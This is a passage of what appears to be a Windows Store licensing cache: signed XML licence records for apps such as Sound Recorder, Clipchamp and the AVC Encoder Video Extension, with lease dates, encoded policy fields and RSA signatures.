/><DigestValue>7HajbwpYDNubYTrcpvuIx+mjNoxHiAByCsjEwx+wHiw=</DigestValue></Reference></SignedInfo><SignatureValue>kXO+Fhz7/tMRddRr8sthMmtVuxcfefvyGLGh1MvbU3p5QpOrptxrl9EmWBcogtAeaGXWFVgLfQ9ag+SKZryDlRazCCX1YYYcMcFE2oyYGkDTrMjI5y/F6MV5q8pTXPEL0tALJ4BTd61bcD22Po9ZhlPxkZqqvtFarjxhijg3MISyudBdn+ute4LbQJVlso2L2p15/F0o/D75HRNpHCi9rOkg++FlFp9m/OWf6Y4l3O6xrlTN0E0A8BqUQyGLbX1k4pGvjZ0+rFTxdfzGbJjohtFrXm5FJDTo4XgPSMInoWu38wz8A8CsmiMPso5KKYYRnmfcT4U2uHj7fy7+skZxcw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="10da174a-1d14-417f-bd73-1f8a5d2861e0" LicenseID="ca947da2-7e9a-7249-8095-bceb379c6f74" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:52:26.6847959Z</IssuedDate><LastUpdateDate>2026-02-20T13:52:26.6716189Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0wYzhjZjMyNy05ZDE3LWNjZGUtMThhZi1kZmY0ZjIwMDcwZTUmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZIV0tOJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiYWMxMTZhNzItYjZiMS1kNTU4LTIzZjYtMTA3OTZlNjM0ZDQxIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiMGM4Y2YzMjctOWQxNy1jY2RlLTE4YWYtZGZmNGYyMDA3MGU1IiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSFdLTiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMzo1MjoyNi42NzE0MjU5KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAgAbZ5hpAADLAAAAEAAAAKJ9lMqafklygJW86zecb3TOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBzAG8AdQBuAGQAcgBlAGMAbwByAGQAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQC8abWflVaThpz8p2hWFbu0hL/IzZA7Bjtj7KTG9MEpf9MAAAAEAAAAGw4PaswAAABEAAAAAQACADz9hZua0wPdcX+xMycn5ZIr2kdZfEVI9e6YVZp8PKK7XujDPrjQriCLDdyT5XR6vX2aSZvySyb5X3+KgkEEeJ0=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>TwR1a8hgT9+o9XI7DJf4u3aAPZNlrs1cZWyTz3vyVfs=</DigestValue></Reference></SignedInfo><SignatureValue>ICZLv4xcHpK8RQ2ZnFxGLi2lXjX66VGCcXaxocLb+2c+g88xXI6UCOybtjWmsJfNM2d7aK3sQW64rz4RO/WCdHNNu9K08W2P8Nv7ajY+jWEeVVaLD/rbryEL1Rt9LhD4tvDA2gEcaKUvLFWhIbj8G7DQUkm7U06zFoa6d9VtPpjkOMrkQMohbqPZs5DUj6Y3gR2wkq8yaSpa7WHoUya4bEGysLqD0bjlMtWr9bYsL6j7AQWiUIMyvR0Ok/rVoEbfPBe29gSCu3ReG0nQm3arhl9L7yJSdE1hzVRW75Zwxq6PtKLQb2OtCnAappnyS3XYqY9QuGuHWYZmHmH9ATlyQQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="b2e44443-792b-4b47-9993-af6de766984a" LicenseID="ac116a72-b6b1-d558-23f6-10796e634d41" ContentID="0c8cf327-9d17-ccde-18af-dff4f20070e5" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFHWKN</ProductID><PFM>microsoft.windowssoundrecorder_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T14:32:53.014868Z</IssuedDate><LastUpdateDate>2026-02-20T14:32:53.0059332Z</LastUpdateDate><BeginDate>2026-02-20T14:32:53.0059325Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI5ZjAzMjczZi1mZTBiLTRlZDgtOWJjOC1jMmYyNTYzNzU0OTAifQ==</CustomPolicies><SPLicenseBlock>FAAAAMIAAADJAAAACgAAAAUAAQCVcJhpAwDLAAAAEAAAAHJqEayxtljVI/YQeW5jTUHOAAAAWgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBzAG8AdQBuAGQAcgBlAGMAbwByAGQAZQByAF8AOAB3AGUAawB5AGIAMwBkADgAYgBiAHcAZQAAAM0AAAAiAAAAAQC8abWflVaThpz8p2hWFbu0hL/IzZA7Bjtj7KTG9MEpfyAAAAAEAAAAlXCYacwAAABEAAAAAQACAFLM5KIdteVJIvhXiDL8t70jJZu0gMX/7cQDhXO2o2nVmMlLc7poy/UWWoPNfE0BfplW3tOu1PDDOhCoZ4DPEks=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>sI5Z1lrd+6H6LnWPhMNuIj+GCPEa1d3xQexE7y17aUQ=</DigestValue></Reference></SignedInfo><SignatureValue>ZgyW3b3gTLGyTcfs3erz2PNaGmJ6SZM79iqKH1RFxzNtco8BJfvSYxNqkg7z1BGaHQ/AyCoCgWVKgFU/OI9vPSCuRLcZbYy0Zf1+kYboWl50JzSi3t+cXKXmmW6KPIEiHXJijJsoJoYhkZJOWcfvgwQCD2+qR1pUQ1DzX0HOXlXvUcUjtiQPiYEHPGjA7h9WC20NywBGzLuugk55mEorsn5utp45mAdnhXESgS/0NLWSOkcimexMNnCwDrRrYr76FF9/dZjyaw22nItalO1tmbkYXir3I5QQFUYHOUIwFQPoENd+aOgNY8RZFFYpMRwtI7vO1JjHuICPzz1bLcuvrg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
)k<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="21c5683a-81e4-4827-b8eb-e43f8c13f1db" LicenseID="772bce3b-820a-4e98-59dd-30f7be043b8d" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Clipchamp.Clipchamp_yxz26nhyzhsrt</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:48:26.4133662Z</IssuedDate><LastUpdateDate>2026-02-20T11:48:26.402291Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiN2VmYWYzYjEtZDgyYi0wZWFlLWM3Y2YtNjQ0NjJiNDdhZTQ1IiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhJTNhOTE0Nzk4MTIxNjY4NjA0JmNvbnRlbnRJZD1hM2NmYjgxOS1jOTZkLWI5ZmYtY2JiYy1hNzRmNWIzNzhkNTImZW50aXRsZW1lbnRJZD03ZWZhZjNiMS1kODJiLTBlYWUtYzdjZi02NDQ2MmI0N2FlNDUmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImFkMmJkZWZhLTVlN2EtNzkwZi1kMTcyLWVkZmUzZmQ4YTllNCJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImEzY2ZiODE5LWM5NmQtYjlmZi1jYmJjLWE3NGY1YjM3OGQ1MiIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UDFKOFM3Q0NXV1QiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTE6NDg6MjYuNDAyMDg5OCswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAgAKSphpAADLAAAAEAAAADvOK3cKgphOWd0w974EO43OAAAARAAAAGMAbABpAHAAYwBoAGEAbQBwAC4AYwBsAGkAcABjAGgAYQBtAHAAXwB5AHgAegAyADYAbgBoAHkAegBoAHMAcgB0AAAAzQAAACIAAAABADabxw8CcCERNMCDn4MPX2yMX3wfA8u7Uz3bEK3xUmVc0wAAAAQAAAAKv6ppzAAAAEQAAAABAAIANsgYpbbHW7RdJHonqsOrKL3sCFQtlUO69a0GasaySfB3ISt1KA9S/kSO5jKVoyGxIozuICDyU76mTkK+V5kSsw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>zsDezkCLKoBviioHPFBTy+QamoiNC5JWBiJhhinbvkM=</DigestValue></Reference></SignedInfo><SignatureValue>eYfLAD4geXsMiMd8CUHWg4yFDbVRe81KZpwDLoDA91iC3/z4h3eaAzK6UZCgAGkSxAv+3HOHXa/yw/wkFTWc1WGyZrLUPx3M4UFLIGBtY0Ud+zbm8fiyevru93jCe7oAXGP4UNbf1exlWdnxA9kfDGN+H4DsDCmp2pdX5dVUqld02Hxv/gGkTBjPouXJeAvE1vWH64bDSgm25oXN1oLjoQHTLcVFVJwA9Sbgl2vMbtO10pwbe1r4nWPyc6lPZbqD/OHlV/v79oYOpc0q3a+pe+kf4lXowuTm1XsxsUDhMfFjAF+/KEGqq7zL16KwT91gCYRIEZXP7JAbrCUraEC4Lg==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="ce155ba5-6622-4b7f-ac92-6a675199be37" LicenseID="ad2bdefa-5e7a-790f-d172-edfe3fd8a9e4" ContentID="a3cfb819-c96d-b9ff-cbbc-a74f5b378d52" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9P1J8S7CCWWT</ProductID><PFM>clipchamp.clipchamp_yxz26nhyzhsrt</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T04:02:11.7085792Z</IssuedDate><LastUpdateDate>2026-02-20T04:02:11.6980214Z</LastUpdateDate><BeginDate>2026-02-20T04:02:11.6980203Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI1YTk1ZjYwYS03ZmE4LTQwYmQtYWExOS1lMDE3Yjc0ZDZkYTIifQ==</CustomPolicies><SPLicenseBlock>FAAAAKwAAADJAAAACgAAAAUAAQDE3JdpAwDLAAAAEAAAAPreK616Xg950XLt/j/YqeTOAAAARAAAAGMAbABpAHAAYwBoAGEAbQBwAC4AYwBsAGkAcABjAGgAYQBtAHAAXwB5AHgAegAyADYAbgBoAHkAegBoAHMAcgB0AAAAzQAAACIAAAABADabxw8CcCERNMCDn4MPX2yMX3wfA8u7Uz3bEK3xUmVcIAAAAAQAAADE3JdpzAAAAEQAAAABAAIAYMc7Ask1c1k97312b8FKHpP6bXq0/o0QJimh0oSUsv42QpZJ6D9W4tNSU4QAW4TAMO+j9Xwyqn97BFbXKlnZAQ==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>D1Aa4sCqZaVA8w9p1iLMXiSQ3GYhYcR+pmN3XC1DY5o=</DigestValue></Reference></SignedInfo><SignatureValue>CUDREId8I9pZ0uQvkngd59Z2pxVeb5Ju0vPFAuL2sNdaPArK1q9UEJTy2q7SOatTNJhbZGVfzCFUkcLdyEeL5uZUnu81POhmUltuyPCMVYR9oKHm8NmE0tnB4LmT5jb9ZlxnoSNwVMHgNFR9NMnvtGSFMDbTr5hoBA4IlsBihZQtTbATazG3taB7fAJBOHF1BLtLrkNODb+A0T5iqIYcLkvXEx/fk7qvfAEFG64shmy8NbCpwDJyj+0w5xcKmHx2M2fmCl3zNRAb1n35t1qbOQSpgzY4EoIw29R21+3qRG5BXWYI4VjZmrnwCjJmD+xklockwvFRiVvCihCQpEWs5Q==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
x<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="d5714236-e132-4674-9271-04ed93a2a4ee" LicenseID="11ee494f-ed10-a8b5-1537-5f1a54119316" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:09:20.9411567Z</IssuedDate><LastUpdateDate>2026-02-20T09:09:20.930855Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiZmFmOTA0NjItMzM5Zi03YTQ0LThmZjEtMzA1MGI2MWI5ODkwIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2NzU1NDU0NjY0NTgyODYyJmNvbnRlbnRJZD1hMGU5NzEwNi1mNzQxLTUxN2QtZjkzZC1mZDI5NTJlOTllMTAmZW50aXRsZW1lbnRJZD1mYWY5MDQ2Mi0zMzlmLTdhNDQtOGZmMS0zMDUwYjYxYjk4OTAmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbImIxNmMxMTQ2LTI4NTMtMjc3YS1iNDllLTAyOGYyNzYyZDRkZiJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImEwZTk3MTA2LWY3NDEtNTE3ZC1mOTNkLWZkMjk1MmU5OWUxMCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5UEIwVFJDTlJIRlgiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMDk6MDk6MjAuOTMwNzA1NSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAMoAAADJAAAACgAAAAUAAgDBJJhpAADLAAAAEAAAAE9J7hEQ7bWoFTdfGlQRkxbOAAAAYgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQB2AGMAZQBuAGMAbwBkAGUAcgB2AGkAZABlAG8AZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAHoBSZMMlEDh6sBWtQDkMlir5yzTYCd+vocHk28CqQZD0wAAAAQAAADBmappzAAAAEQAAAABAAIA4fKcodTWTQ/2A4HMGQT71JiLCU9zRRuRgBIGhxr6dCCuXznbUrQKU/zIaLDIGYjd/7Dr+geOyYO1zotGhIhJ5w==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>7vpXTyDge7TKttlidNVlyJ7Tf74V9BGCDn4IsA9V58Y=</DigestValue></Reference></SignedInfo><SignatureValue>lEwcsThgf614/B/SBa7zvIapyp69SSAjc3FRx1CfXa2pDH3UxTRK6cyWNYhBrzsEKeR6/bxVmZxu8+XfkWzaYJlK8N10JVElxVcmoQVoanPD2bjErx1TEZH0zws+ilpRYCDbCuzLBaXMb1kFGLh+JpMhzPirynvZ/IRWsqEtJz5aeFzZCgWcJ3CeLyDapQs0ZndJUKMdrJws8nRa3eCSnalXoyx64pnEUnjZmRxmo39A1SivmlNo5pMvMLz5af5oqRC/G5c1xG7xaZ0PpZJ+gDTtx7VlELb6aW7UpkEK9FYhAp591qglnwFLEx80JX2yogn6emQx57EyHt4VQR1Qww==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="acf4ab9a-d030-4415-9905-b2de98741e1b" LicenseID="b16c1146-2853-277a-b49e-028f2762d4df" ContentID="a0e97106-f741-517d-f93d-fd2952e99e10" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9PB0TRCNRHFX</ProductID><PFM>microsoft.avcencodervideoextension_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T09:09:20.9430667Z</IssuedDate><LastUpdateDate>2026-02-20T09:09:20.9313047Z</LastUpdateDate><BeginDate>2026-02-20T09:09:20.9313041Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJkNTllOGI1ZC1kZjkzLTQ5MDgtOTk1MC05MGIyMWI0YjY4ODUifQ==</CustomPolicies><SPLicenseBlock>FAAAAMoAAADJAAAACgAAAAUAAQDBJJhpAwDLAAAAEAAAAEYRbLFTKHontJ4Cjydi1N/OAAAAYgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AYQB2AGMAZQBuAGMAbwBkAGUAcgB2AGkAZABlAG8AZQB4AHQAZQBuAHMAaQBvAG4AXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAHoBSZMMlEDh6sBWtQDkMlir5yzTYCd+vocHk28CqQZDIAAAAAQAAADBJJhpzAAAAEQAAAABAAIAmNv2xUyp+HtfxVIrX8Ec5xTuxJKXFn4SRzrXnSmutDX2qo+AHZEJpTrhjvexyc9VHvjST1hfshbWcthhnXkCBg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>VVICfJFdCoc9pSEar1rlYLFXBXFhviGW5/+aWBIzDvk=</DigestValue></Reference></SignedInfo><SignatureValue>bKAwEpI6/D0SDD5UlTwjyYuJYiYqY0N0dLqFb4aN6sj1s+nVGhYkh1PizhROjJf2v5OM+QBTuC8iVU4nnEwmgwDbDvdCsD+5B77H3xB9Jgp1GJWZLFBw3ZZgChv9wX0k8fdhYTVT40dtHX+EAA+K+ruHSfkbb9YeCEr8R/R0BaI53NXeNaJZWSk62FwblGbRVmma5TygjgAhHjzTefpIe8QPRnvFry+xIUFgKsMDmNU0JilcwRqgPOzIxWgyBSw321AJoMPGAVSr7mlZmRTdcuEQMXJuA9TQg8fgoCSBzAa3KBsT6oElU9fqmRTReWJ4HBf3eLuyka94lYZlj9QMhQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="cc2af077-9277-4900-bdd3-c853a46172d1" LicenseID="56780d7d-d4dc-b9a9-c121-bdd323bdc3b5" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.GetHelp_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" 